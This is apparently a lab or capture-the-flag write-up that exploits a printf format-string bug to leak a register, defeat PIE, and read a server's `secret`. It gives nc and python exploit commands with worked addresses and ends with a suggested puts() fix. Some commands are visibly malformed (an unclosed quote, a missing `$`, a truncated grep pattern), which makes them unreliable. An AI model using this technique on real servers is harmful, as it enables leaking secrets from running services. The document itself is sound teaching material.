Analysis of the bug =================== In 64b binaries, the first 6 arguments of `printf()` come from the registers, so the random padding of the stack may be ineffective if any of these registers contains something useful. Attack plan =========== We need to defeat PIE in order to use the `s` command. By disassembling the binary, or by running it in the debugger, we can note that the `rdx` register contains the address of `cmd_echo` when the `printf()` in `cmd_echo()` is called. This can be easily exploited to obtain the load address. Attack implementation ===================== The contents of `rdx` can be obtained by sending, e.g., `e%2$lx`: ```sh echo 'e%2$lx ' | nc $HOST $PORT ``` Finer details: - the server wants to read 8 bytes after `e`; we meet this requirement with two additional spaces and the newline print by `echo`; - we need to protect the `$` from the shell, so we use single quotes. Assume the previous command prints `5563e89f85f7`. Now the load address of the server can be obtained by subtracting the offset of `cmd_echo()`, obtained with ```sh nm server | grep cmd_echo ``` The offset is 0x15f7 (note that the offset and the address of `cmd_echo` must match in the 3 least significant hex digits). The load address is therefore: 0x5563e89f85f7 - 0x15f7 = 0x5563e89f7000 Now we can find the offset of `secret`: ``` nm server | grep '\' ``` The offset is 0x4140; the address on the remote server is 0x5563e89f7000 + 0x4140 = 0x5563e89fb140 Now we can read the secret: ```sh export PYTHONIOENCODING=iso-8859-1 python3 -c 'print("s"+"\x00\x00\x55\x63\xe8\x9f\xb1\x40"[::-1]) | nc $HOST PORT ``` Suggested fix ============= The `printf()` in `cmd_echo()` should be replaced by `puts()`.